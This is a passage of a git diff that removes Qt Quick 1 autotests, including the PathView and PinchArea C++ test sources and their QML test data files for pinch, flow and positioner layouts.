QCOMPARE(pathView->preferredHighlightBegin(), 0.1); - QCOMPARE(pathView->dragMargin(), 5.0); - - pathView->setPreferredHighlightBegin(0.4); - pathView->setPreferredHighlightEnd(0.4); - pathView->setDragMargin(20.0); - - QCOMPARE(pathView->preferredHighlightBegin(), 0.4); - QCOMPARE(pathView->preferredHighlightEnd(), 0.4); - QCOMPARE(pathView->dragMargin(), 20.0); - - QCOMPARE(snapPositionSpy.count(), 1); - QCOMPARE(dragMarginSpy.count(), 1); - - pathView->setPreferredHighlightBegin(0.4); - pathView->setPreferredHighlightEnd(0.4); - pathView->setDragMargin(20.0); - - QCOMPARE(snapPositionSpy.count(), 1); - QCOMPARE(dragMarginSpy.count(), 1); - delete canvas; -} - -void tst_QDeclarative1PathView::pathChanges() -{ - QDeclarativeView *canvas = createView(); - QVERIFY(canvas); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychanges.qml")); - - QDeclarative1PathView *pathView = canvas->rootObject()->findChild("pathView"); - QVERIFY(pathView); - - QDeclarative1Path *path = canvas->rootObject()->findChild("path"); - QVERIFY(path); - - QSignalSpy startXSpy(path, SIGNAL(startXChanged())); - QSignalSpy startYSpy(path, SIGNAL(startYChanged())); - - QCOMPARE(path->startX(), 220.0); - QCOMPARE(path->startY(), 200.0); - - path->setStartX(240.0); - path->setStartY(220.0); - - QCOMPARE(path->startX(), 240.0); - QCOMPARE(path->startY(), 220.0); - - QCOMPARE(startXSpy.count(),1); - QCOMPARE(startYSpy.count(),1); - - path->setStartX(240); - path->setStartY(220); - - QCOMPARE(startXSpy.count(),1); - QCOMPARE(startYSpy.count(),1); - - QDeclarative1Path *alternatePath = canvas->rootObject()->findChild("alternatePath"); - QVERIFY(alternatePath); - - QSignalSpy pathSpy(pathView, SIGNAL(pathChanged())); - - QCOMPARE(pathView->path(), path); - - pathView->setPath(alternatePath); - QCOMPARE(pathView->path(), alternatePath); - QCOMPARE(pathSpy.count(),1); - - pathView->setPath(alternatePath); - QCOMPARE(pathSpy.count(),1); - - QDeclarative1PathAttribute *pathAttribute = canvas->rootObject()->findChild("pathAttribute"); - QVERIFY(pathAttribute); - - QSignalSpy nameSpy(pathAttribute, SIGNAL(nameChanged())); - QCOMPARE(pathAttribute->name(), QString("opacity")); - - pathAttribute->setName("scale"); - QCOMPARE(pathAttribute->name(), QString("scale")); - QCOMPARE(nameSpy.count(),1); - - pathAttribute->setName("scale"); - QCOMPARE(nameSpy.count(),1); - delete canvas; -} - -void tst_QDeclarative1PathView::componentChanges() -{ - QDeclarativeView *canvas = createView(); - QVERIFY(canvas); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychanges.qml")); - - QDeclarative1PathView *pathView = canvas->rootObject()->findChild("pathView"); - QVERIFY(pathView); - - QDeclarativeComponent delegateComponent(canvas->engine()); - delegateComponent.setData("import QtQuick 1.0; Text { text: 'Name: ' + name }", QUrl::fromLocalFile("")); - - QSignalSpy delegateSpy(pathView, SIGNAL(delegateChanged())); - - pathView->setDelegate(&delegateComponent); - QCOMPARE(pathView->delegate(), &delegateComponent); - QCOMPARE(delegateSpy.count(),1); - - pathView->setDelegate(&delegateComponent); - QCOMPARE(delegateSpy.count(),1); - delete canvas; -} - -void tst_QDeclarative1PathView::modelChanges() -{ - QDeclarativeView *canvas = createView(); - QVERIFY(canvas); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychanges.qml")); - - QDeclarative1PathView *pathView = canvas->rootObject()->findChild("pathView"); - QVERIFY(pathView); - -// QDeclarative1ListModel *alternateModel = canvas->rootObject()->findChild("alternateModel"); - QObject *alternateModel = canvas->rootObject()->findChild("alternateModel"); - QVERIFY(alternateModel); - QVariant modelVariant = QVariant::fromValue(alternateModel); - QSignalSpy modelSpy(pathView, SIGNAL(modelChanged())); - - pathView->setModel(modelVariant); - QCOMPARE(pathView->model(), modelVariant); - QCOMPARE(modelSpy.count(),1); - - pathView->setModel(modelVariant); - QCOMPARE(modelSpy.count(),1); - - pathView->setModel(QVariant()); - QCOMPARE(modelSpy.count(),2); - - delete canvas; -} - -void tst_QDeclarative1PathView::pathUpdateOnStartChanged() -{ - QDeclarativeView *canvas = createView(); - QVERIFY(canvas); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pathUpdateOnStartChanged.qml")); - - QDeclarative1PathView *pathView = canvas->rootObject()->findChild("pathView"); - QVERIFY(pathView); - - QDeclarative1Path *path = canvas->rootObject()->findChild("path"); - QVERIFY(path); - QCOMPARE(path->startX(), 400.0); - QCOMPARE(path->startY(), 300.0); - - QDeclarativeItem *item = findItem(pathView, "wrapper", 0); - QVERIFY(item); - QCOMPARE(item->x(), path->startX() - item->width() / 2.0); - QCOMPARE(item->y(), path->startY() - item->height() / 2.0); - - delete canvas; -} - -void tst_QDeclarative1PathView::package() -{ - QDeclarativeView *canvas = createView(); - QVERIFY(canvas); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pathview_package.qml")); - - QDeclarative1PathView *pathView = canvas->rootObject()->findChild("photoPathView"); - QVERIFY(pathView); - - QDeclarativeItem *item = findItem(pathView, "pathItem"); - QVERIFY(item); - QVERIFY(item->scale() != 1.0); - - delete canvas; -} - -//QTBUG-13017 -void tst_QDeclarative1PathView::emptyModel() -{ - QDeclarativeView *canvas = createView(); - - QStringListModel model; - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("emptyModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/emptymodel.qml")); - qApp->processEvents(); - - QDeclarative1PathView *pathview = qobject_cast(canvas->rootObject()); - QVERIFY(pathview != 0); - - QCOMPARE(pathview->offset(), qreal(0.0)); - - delete canvas; -} - -void tst_QDeclarative1PathView::closed() -{ - QDeclarativeEngine engine; - - { - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/openPath.qml")); - QDeclarative1Path *obj = qobject_cast(c.create()); - QVERIFY(obj); - QCOMPARE(obj->isClosed(), false); - delete obj; - } - - { - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/closedPath.qml")); - QDeclarative1Path *obj = qobject_cast(c.create()); - QVERIFY(obj); - QCOMPARE(obj->isClosed(), true); - delete obj; - } -} - -// QTBUG-14239 -void tst_QDeclarative1PathView::pathUpdate() -{ - QDeclarativeView *canvas = createView(); - QVERIFY(canvas); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pathUpdate.qml")); - - QDeclarative1PathView *pathView = canvas->rootObject()->findChild("pathView"); - QVERIFY(pathView); - - QDeclarativeItem *item = findItem(pathView, "wrapper", 0); - QVERIFY(item); - QCOMPARE(item->x(), 150.0); - - delete canvas; -} - -void tst_QDeclarative1PathView::visualDataModel() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/vdm.qml")); - - QDeclarative1PathView *obj = qobject_cast(c.create()); - QVERIFY(obj != 0); - - QCOMPARE(obj->count(), 3); - - delete obj; -} - -void tst_QDeclarative1PathView::undefinedPath() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/undefinedpath.qml")); - - QDeclarative1PathView *obj = qobject_cast(c.create()); - QVERIFY(obj != 0); - - QCOMPARE(obj->count(), 3); - - delete obj; -} - -void tst_QDeclarative1PathView::mouseDrag() -{ - QDeclarativeView *canvas = createView(); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/dragpath.qml")); - canvas->show(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - QDeclarative1PathView *pathview = qobject_cast(canvas->rootObject()); - QVERIFY(pathview != 0); - - int current = pathview->currentIndex(); - - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(10,100))); - - { - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(30,100)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - } - { - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(90,100)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - } - - QVERIFY(pathview->currentIndex() != current); - - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(40,100))); - - delete canvas; -} - -void tst_QDeclarative1PathView::treeModel() -{ - QDeclarativeView *canvas = createView(); - - QStandardItemModel model; - initStandardTreeModel(&model); - canvas->engine()->rootContext()->setContextProperty("myModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/treemodel.qml")); - - QDeclarative1PathView *pathview = qobject_cast(canvas->rootObject()); - QVERIFY(pathview != 0); - QCOMPARE(pathview->count(), 3); - - QDeclarative1Text *item = findItem(pathview, "wrapper", 0); - QVERIFY(item); - QCOMPARE(item->text(), QLatin1String("Row 1 Item")); - - QVERIFY(QMetaObject::invokeMethod(pathview, "setRoot", Q_ARG(QVariant, 1))); - QCOMPARE(pathview->count(), 1); - - QTRY_VERIFY(item = findItem(pathview, "wrapper", 0)); - QTRY_COMPARE(item->text(), QLatin1String("Row 2 Child Item")); - - delete canvas; -} - -void tst_QDeclarative1PathView::changePreferredHighlight() -{ - QDeclarativeView *canvas = createView(); - canvas->setFixedSize(400,200); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/dragpath.qml")); - canvas->show(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - QDeclarative1PathView *pathview = qobject_cast(canvas->rootObject()); - QVERIFY(pathview != 0); - - int current = pathview->currentIndex(); - QCOMPARE(current, 0); - - QDeclarative1Rectangle *firstItem = findItem(pathview, "wrapper", 0); - QVERIFY(firstItem); - QDeclarative1Path *path = qobject_cast(pathview->path()); - QVERIFY(path); - QPointF start = path->pointAt(0.5); - start.setX(qRound(start.x())); - start.setY(qRound(start.y())); - QPointF offset;//Center of item is at point, but pos is from corner - offset.setX(firstItem->width()/2); - offset.setY(firstItem->height()/2); - QTRY_COMPARE(firstItem->pos() + offset, start); - - pathview->setPreferredHighlightBegin(0.8); - pathview->setPreferredHighlightEnd(0.8); - start = path->pointAt(0.8); - start.setX(qRound(start.x())); - start.setY(qRound(start.y())); - QTRY_COMPARE(firstItem->pos() + offset, start); - QCOMPARE(pathview->currentIndex(), 0); - - delete canvas; -} - -QDeclarativeView *tst_QDeclarative1PathView::createView() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setFixedSize(240,320); - - return canvas; -} - -/* - Find an item with the specified objectName. If index is supplied then the - item must also evaluate the {index} expression equal to index - */ -template -T *tst_QDeclarative1PathView::findItem(QGraphicsObject *parent, const QString &objectName, int index) -{ - const QMetaObject &mo = T::staticMetaObject; - //qDebug() << parent->childItems().count() << "children"; - for (int i = 0; i < parent->childItems().count(); ++i) { - QDeclarativeItem *item = qobject_cast(parent->childItems().at(i)); - if(!item) - continue; - //qDebug() << "try" << item; - if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) { - if (index != -1) { - QDeclarativeExpression e(qmlContext(item), item, "index"); - if (e.evaluate().toInt() == index) - return static_cast(item); - } else { - return static_cast(item); - } - } - item = findItem(item, objectName, index); - if (item) - return static_cast(item); - } - - return 0; -} - -template -QList tst_QDeclarative1PathView::findItems(QGraphicsObject *parent, const QString &objectName) -{ - QList items; - const QMetaObject &mo = T::staticMetaObject; - //qDebug() << parent->QGraphicsObject::children().count() << "children"; - for (int i = 0; i < parent->childItems().count(); ++i) { - QDeclarativeItem *item = qobject_cast(parent->childItems().at(i)); - if(!item) - continue; - //qDebug() << "try" << item; - if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) - items.append(static_cast(item)); - items += findItems(item, objectName); - } - - return items; -} - -QTEST_MAIN(tst_QDeclarative1PathView) - -#include "tst_qdeclarativepathview.moc" diff --git a/tests/auto/qtquick1/qdeclarativepincharea/data/flickresize.qml b/tests/auto/qtquick1/qdeclarativepincharea/data/flickresize.qml deleted file mode 100644 index 2da58fce3a..0000000000 --- a/tests/auto/qtquick1/qdeclarativepincharea/data/flickresize.qml +++ /dev/null @@ -1,50 +0,0 @@ -import QtQuick 1.1 - -Flickable { - id: flick - property real scale: 1.0 - width: 640 - height: 360 - contentWidth: 500 - contentHeight: 500 - - PinchArea { - objectName: "pincharea" - width: Math.max(flick.contentWidth, flick.width) - height: Math.max(flick.contentHeight, flick.height) - - property real initialWidth - property real initialHeight - onPinchStarted: { - initialWidth = flick.contentWidth - initialHeight = flick.contentHeight - } - - onPinchUpdated: { - // adjust content pos due to drag - flick.contentX += pinch.previousCenter.x - pinch.center.x - flick.contentY += pinch.previousCenter.y - pinch.center.y - - // resize content - flick.resizeContent(initialWidth * pinch.scale, initialHeight * pinch.scale, pinch.center) - flick.scale = pinch.scale - } - - onPinchFinished: { - // Move its content within bounds. - flick.returnToBounds() - } - - Rectangle { - width: flick.contentWidth - height: flick.contentHeight - color: "white" - Rectangle { - anchors.centerIn: parent - width: parent.width-40 - height: parent.height-40 - color: "blue" - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepincharea/data/pinchproperties.qml b/tests/auto/qtquick1/qdeclarativepincharea/data/pinchproperties.qml deleted file mode 100644 index 0b59d9dc15..0000000000 --- a/tests/auto/qtquick1/qdeclarativepincharea/data/pinchproperties.qml +++ /dev/null @@ -1,46 +0,0 @@ -import QtQuick 1.1 -Rectangle { - id: whiteRect - property variant center - property real scale - width: 240; height: 320 - color: "white" - Rectangle { - id: blackRect - objectName: "blackrect" - color: "black" - y: 50 - x: 50 - width: 100 - height: 100 - opacity: (whiteRect.width-blackRect.x+whiteRect.height-blackRect.y-199)/200 - Text { text: blackRect.opacity} - PinchArea { - id: pincharea - objectName: "pincharea" - anchors.fill: parent - pinch.target: blackRect - pinch.dragAxis: Drag.XandYAxis - pinch.minimumX: 0 - pinch.maximumX: whiteRect.width-blackRect.width - pinch.minimumY: 0 - pinch.maximumY: whiteRect.height-blackRect.height - pinch.minimumScale: 1.0 - pinch.maximumScale: 2.0 - pinch.minimumRotation: 0.0 - pinch.maximumRotation: 90.0 - onPinchStarted: { - whiteRect.center = pinch.center - whiteRect.scale = pinch.scale - } - onPinchUpdated: { - whiteRect.center = pinch.center - whiteRect.scale = pinch.scale - } - onPinchFinished: { - whiteRect.center = pinch.center - whiteRect.scale = pinch.scale - } - } - } - } diff --git a/tests/auto/qtquick1/qdeclarativepincharea/qdeclarativepincharea.pro b/tests/auto/qtquick1/qdeclarativepincharea/qdeclarativepincharea.pro deleted file mode 100644 index 4a8ef9bc5d..0000000000 --- a/tests/auto/qtquick1/qdeclarativepincharea/qdeclarativepincharea.pro +++ /dev/null @@ -1,11 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativepincharea -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativepincharea.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/qdeclarativepincharea/tst_qdeclarativepincharea.cpp b/tests/auto/qtquick1/qdeclarativepincharea/tst_qdeclarativepincharea.cpp deleted file mode 100644 index f5cb60ea78..0000000000 --- a/tests/auto/qtquick1/qdeclarativepincharea/tst_qdeclarativepincharea.cpp +++ /dev/null @@ -1,393 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include -#include -#include -#include -#include -#include - -class tst_QDeclarative1PinchArea: public QObject -{ - Q_OBJECT -public: - tst_QDeclarative1PinchArea() : device(0) { } -private slots: - void initTestCase() { - if (!device) { - device = new QTouchDevice; - device->setType(QTouchDevice::TouchScreen); - QWindowSystemInterface::registerTouchDevice(device); - } - } - void pinchProperties(); - void scale(); - void pan(); - void flickable(); - -private: - QDeclarativeView *createView(); - QTouchDevice *device; -}; - -void tst_QDeclarative1PinchArea::pinchProperties() -{ - QDeclarativeView *canvas = createView(); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pinchproperties.qml")); - canvas->show(); - canvas->setFocus(); - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1PinchArea *pinchArea = canvas->rootObject()->findChild("pincharea"); - QDeclarative1Pinch *pinch = pinchArea->pinch(); - QVERIFY(pinchArea != 0); - QVERIFY(pinch != 0); - - // target - QDeclarativeItem *blackRect = canvas->rootObject()->findChild("blackrect"); - QVERIFY(blackRect != 0); - QVERIFY(blackRect == pinch->target()); - QDeclarativeItem *rootItem = qobject_cast(canvas->rootObject()); - QVERIFY(rootItem != 0); - QSignalSpy targetSpy(pinch, SIGNAL(targetChanged())); - pinch->setTarget(rootItem); - QCOMPARE(targetSpy.count(),1); - pinch->setTarget(rootItem); - QCOMPARE(targetSpy.count(),1); - - // axis - QCOMPARE(pinch->axis(), QDeclarative1Pinch::XandYAxis); - QSignalSpy axisSpy(pinch, SIGNAL(dragAxisChanged())); - pinch->setAxis(QDeclarative1Pinch::XAxis); - QCOMPARE(pinch->axis(), QDeclarative1Pinch::XAxis); - QCOMPARE(axisSpy.count(),1); - pinch->setAxis(QDeclarative1Pinch::XAxis); - QCOMPARE(axisSpy.count(),1); - - // minimum and maximum drag properties - QSignalSpy xminSpy(pinch, SIGNAL(minimumXChanged())); - QSignalSpy xmaxSpy(pinch, SIGNAL(maximumXChanged())); - QSignalSpy yminSpy(pinch, SIGNAL(minimumYChanged())); - QSignalSpy ymaxSpy(pinch, SIGNAL(maximumYChanged())); - - QCOMPARE(pinch->xmin(), 0.0); - QCOMPARE(pinch->xmax(), rootItem->width()-blackRect->width()); - QCOMPARE(pinch->ymin(), 0.0); - QCOMPARE(pinch->ymax(), rootItem->height()-blackRect->height()); - - pinch->setXmin(10); - pinch->setXmax(10); - pinch->setYmin(10); - pinch->setYmax(10); - - QCOMPARE(pinch->xmin(), 10.0); - QCOMPARE(pinch->xmax(), 10.0); - QCOMPARE(pinch->ymin(), 10.0); - QCOMPARE(pinch->ymax(), 10.0); - - QCOMPARE(xminSpy.count(),1); - QCOMPARE(xmaxSpy.count(),1); - QCOMPARE(yminSpy.count(),1); - QCOMPARE(ymaxSpy.count(),1); - - pinch->setXmin(10); - pinch->setXmax(10); - pinch->setYmin(10); - pinch->setYmax(10); - - QCOMPARE(xminSpy.count(),1); - QCOMPARE(xmaxSpy.count(),1); - QCOMPARE(yminSpy.count(),1); - QCOMPARE(ymaxSpy.count(),1); - - // minimum and maximum scale properties - QSignalSpy scaleMinSpy(pinch, SIGNAL(minimumScaleChanged())); - QSignalSpy scaleMaxSpy(pinch, SIGNAL(maximumScaleChanged())); - - QCOMPARE(pinch->minimumScale(), 1.0); - QCOMPARE(pinch->maximumScale(), 2.0); - - pinch->setMinimumScale(0.5); - pinch->setMaximumScale(1.5); - - QCOMPARE(pinch->minimumScale(), 0.5); - QCOMPARE(pinch->maximumScale(), 1.5); - - QCOMPARE(scaleMinSpy.count(),1); - QCOMPARE(scaleMaxSpy.count(),1); - - pinch->setMinimumScale(0.5); - pinch->setMaximumScale(1.5); - - QCOMPARE(scaleMinSpy.count(),1); - QCOMPARE(scaleMaxSpy.count(),1); - - // minimum and maximum rotation properties - QSignalSpy rotMinSpy(pinch, SIGNAL(minimumRotationChanged())); - QSignalSpy rotMaxSpy(pinch, SIGNAL(maximumRotationChanged())); - - QCOMPARE(pinch->minimumRotation(), 0.0); - QCOMPARE(pinch->maximumRotation(), 90.0); - - pinch->setMinimumRotation(-90.0); - pinch->setMaximumRotation(45.0); - - QCOMPARE(pinch->minimumRotation(), -90.0); - QCOMPARE(pinch->maximumRotation(), 45.0); - - QCOMPARE(rotMinSpy.count(),1); - QCOMPARE(rotMaxSpy.count(),1); - - pinch->setMinimumRotation(-90.0); - pinch->setMaximumRotation(45.0); - - QCOMPARE(rotMinSpy.count(),1); - QCOMPARE(rotMaxSpy.count(),1); - - delete canvas; -} - -QTouchEvent::TouchPoint makeTouchPoint(int id, QPoint p, QGraphicsView *v, QGraphicsItem *i) -{ - QTouchEvent::TouchPoint touchPoint(id); - touchPoint.setPos(i->mapFromScene(p)); - touchPoint.setScreenPos(v->mapToGlobal(p)); - touchPoint.setScenePos(p); - return touchPoint; -} - -void tst_QDeclarative1PinchArea::scale() -{ - QDeclarativeView *canvas = createView(); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pinchproperties.qml")); - canvas->show(); - canvas->setFocus(); - QTest::qWaitForWindowShown(canvas); - QVERIFY(canvas->rootObject() != 0); - qApp->processEvents(); - - QDeclarative1PinchArea *pinchArea = canvas->rootObject()->findChild("pincharea"); - QDeclarative1Pinch *pinch = pinchArea->pinch(); - QVERIFY(pinchArea != 0); - QVERIFY(pinch != 0); - - QDeclarativeItem *root = qobject_cast(canvas->rootObject()); - QVERIFY(root != 0); - - // target - QDeclarativeItem *blackRect = canvas->rootObject()->findChild("blackrect"); - QVERIFY(blackRect != 0); - - QWidget *vp = canvas->viewport(); - - QPoint p1(80, 80); - QPoint p2(100, 100); - - QTest::touchEvent(vp, device).press(0, p1, canvas); - QTest::touchEvent(vp, device).stationary(0).press(1, p2, canvas); - p1 -= QPoint(10,10); - p2 += QPoint(10,10); - QTest::touchEvent(vp, device).move(0, p1, canvas).move(1, p2, canvas); - - QCOMPARE(root->property("scale").toReal(), 1.0); - - p1 -= QPoint(10,10); - p2 += QPoint(10,10); - QTest::touchEvent(vp, device).move(0, p1, canvas).move(1, p2, canvas); - - QCOMPARE(root->property("scale").toReal(), 1.5); - QCOMPARE(root->property("center").toPointF(), QPointF(40, 40)); // blackrect is at 50,50 - QCOMPARE(blackRect->scale(), 1.5); - - // scale beyond bound - p1 -= QPoint(50,50); - p2 += QPoint(50,50); - QTest::touchEvent(vp, device).move(0, p1, canvas).move(1, p2, canvas); - - QCOMPARE(blackRect->scale(), 2.0); - - QTest::touchEvent(vp, device).release(0, p1, canvas).release(1, p2, canvas); - - delete canvas; -} - -void tst_QDeclarative1PinchArea::pan() -{ - QDeclarativeView *canvas = createView(); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pinchproperties.qml")); - canvas->show(); - canvas->setFocus(); - QTest::qWaitForWindowShown(canvas); - QVERIFY(canvas->rootObject() != 0); - qApp->processEvents(); - - QDeclarative1PinchArea *pinchArea = canvas->rootObject()->findChild("pincharea"); - QDeclarative1Pinch *pinch = pinchArea->pinch(); - QVERIFY(pinchArea != 0); - QVERIFY(pinch != 0); - - QDeclarativeItem *root = qobject_cast(canvas->rootObject()); - QVERIFY(root != 0); - - // target - QDeclarativeItem *blackRect = canvas->rootObject()->findChild("blackrect"); - QVERIFY(blackRect != 0); - - QWidget *vp = canvas->viewport(); - - QPoint p1(80, 80); - QPoint p2(100, 100); - - QTest::touchEvent(vp, device).press(0, p1, canvas); - QTest::touchEvent(vp, device).stationary(0).press(1, p2, canvas); - p1 += QPoint(10,10); - p2 += QPoint(10,10); - QTest::touchEvent(vp, device).move(0, p1, canvas).move(1, p2, canvas); - - QCOMPARE(root->property("scale").toReal(), 1.0); - - p1 += QPoint(10,10); - p2 += QPoint(10,10); - QTest::touchEvent(vp, device).move(0, p1, canvas).move(1, p2, canvas); - - QCOMPARE(root->property("center").toPointF(), QPointF(60, 60)); // blackrect is at 50,50 - - QCOMPARE(blackRect->x(), 60.0); - QCOMPARE(blackRect->y(), 60.0); - - // pan x beyond bound - p1 += QPoint(100,100); - p2 += QPoint(100,100); - QTest::touchEvent(vp, device).move(0, p1, canvas).move(1, p2, canvas); - - QCOMPARE(blackRect->x(), 140.0); - QCOMPARE(blackRect->y(), 160.0); - - QTest::touchEvent(vp, device).release(0, p1, canvas).release(1, p2, canvas); - - delete canvas; -} - -void tst_QDeclarative1PinchArea::flickable() -{ - QDeclarativeView *canvas = createView(); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/flickresize.qml")); - canvas->show(); - canvas->setFocus(); - QTest::qWaitForWindowShown(canvas); - QVERIFY(canvas->rootObject() != 0); - qApp->processEvents(); - - QDeclarative1PinchArea *pinchArea = canvas->rootObject()->findChild("pincharea"); - QDeclarative1Pinch *pinch = pinchArea->pinch(); - QVERIFY(pinchArea != 0); - QVERIFY(pinch != 0); - - QDeclarative1Flickable *root = qobject_cast(canvas->rootObject()); - QVERIFY(root != 0); - - QWidget *vp = canvas->viewport(); - - QPoint p1(110, 80); - QPoint p2(100, 100); - - // begin by moving one touch point (mouse) - QTest::mousePress(vp, Qt::LeftButton, 0, canvas->mapFromScene(p1)); - QTest::touchEvent(vp, device).press(0, p1, canvas); - { - p1 -= QPoint(10,10); - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(p1), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - QTest::touchEvent(vp, device).move(0, p1, canvas); - } - { - p1 -= QPoint(10,10); - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(p1), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(vp, &mv); - QTest::touchEvent(vp, device).move(0, p1, canvas); - } - { - p1 -= QPoint(10,10); - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(p1), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(vp, &mv); - QTest::touchEvent(vp, device).move(0, p1, canvas); - } - - // Flickable has reacted to the gesture - QVERIFY(root->isMoving()); - QVERIFY(root->property("scale").toReal() == 1.0); - - // add another touch point and continue moving - QTest::touchEvent(vp, device).stationary(0).press(1, p2, canvas); - p1 -= QPoint(10,10); - p2 += QPoint(10,10); - QTest::touchEvent(vp, device).move(0, p1, canvas).move(1, p2, canvas); - - QCOMPARE(root->property("scale").toReal(), 1.0); - - p1 -= QPoint(10,10); - p2 += QPoint(10,10); - QTest::touchEvent(vp, device).move(0, p1, canvas).move(1, p2, canvas); - - // PinchArea has stolen the gesture. - QVERIFY(!root->isMoving()); - QVERIFY(root->property("scale").toReal() > 1.0); - - QTest::mouseRelease(vp, Qt::LeftButton, 0, canvas->mapFromScene(p1)); - QTest::touchEvent(vp, device).release(0, p1, canvas).release(1, p2, canvas); - - delete canvas; -} - -QDeclarativeView *tst_QDeclarative1PinchArea::createView() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->viewport()->setAttribute(Qt::WA_AcceptTouchEvents); - canvas->setFixedSize(240,320); - - return canvas; -} - -QTEST_MAIN(tst_QDeclarative1PinchArea) - -#include "tst_qdeclarativepincharea.moc" diff --git a/tests/auto/qtquick1/qdeclarativepositioners/data/flow-testimplicitsize.qml b/tests/auto/qtquick1/qdeclarativepositioners/data/flow-testimplicitsize.qml deleted file mode 100644 index ee4e1048a2..0000000000 --- a/tests/auto/qtquick1/qdeclarativepositioners/data/flow-testimplicitsize.qml +++ /dev/null @@ -1,19 +0,0 @@ -import QtQuick 1.1 - -Rectangle { - width: 300; height: 200; - - property int flowLayout: 1 - - Flow { - objectName: "flow" - layoutDirection: (flowLayout == 2) ? Qt.RightToLeft : Qt.LeftToRight - flow: (flowLayout == 1) ? Flow.TopToBottom : Flow.LeftToRight; - - spacing: 20 - anchors.horizontalCenter: parent.horizontalCenter - Rectangle { color: "red"; width: 100; height: 50 } - Rectangle { color: "blue"; width: 100; height: 50 } - } -} - diff --git a/tests/auto/qtquick1/qdeclarativepositioners/data/flowtest-toptobottom.qml b/tests/auto/qtquick1/qdeclarativepositioners/data/flowtest-toptobottom.qml deleted file mode 100644 index ec1d6660c3..0000000000 --- a/tests/auto/qtquick1/qdeclarativepositioners/data/flowtest-toptobottom.qml +++ /dev/null @@ -1,44 +0,0 @@ -import QtQuick 1.1 - -Item { - height: 90 - width: 480 - property bool testRightToLeft: false - - Flow { - objectName: "flow" - height: parent.height - layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight - flow: Flow.TopToBottom - Rectangle { - objectName: "one" - color: "red" - width: 50 - height: 50 - } - Rectangle { - objectName: "two" - color: "green" - width: 20 - height: 50 - } - Rectangle { - objectName: "three" - color: "blue" - width: 50 - height: 20 - } - Rectangle { - objectName: "four" - color: "cyan" - width: 50 - height: 50 - } - Rectangle { - objectName: "five" - color: "magenta" - width: 10 - height: 10 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepositioners/data/flowtest.qml 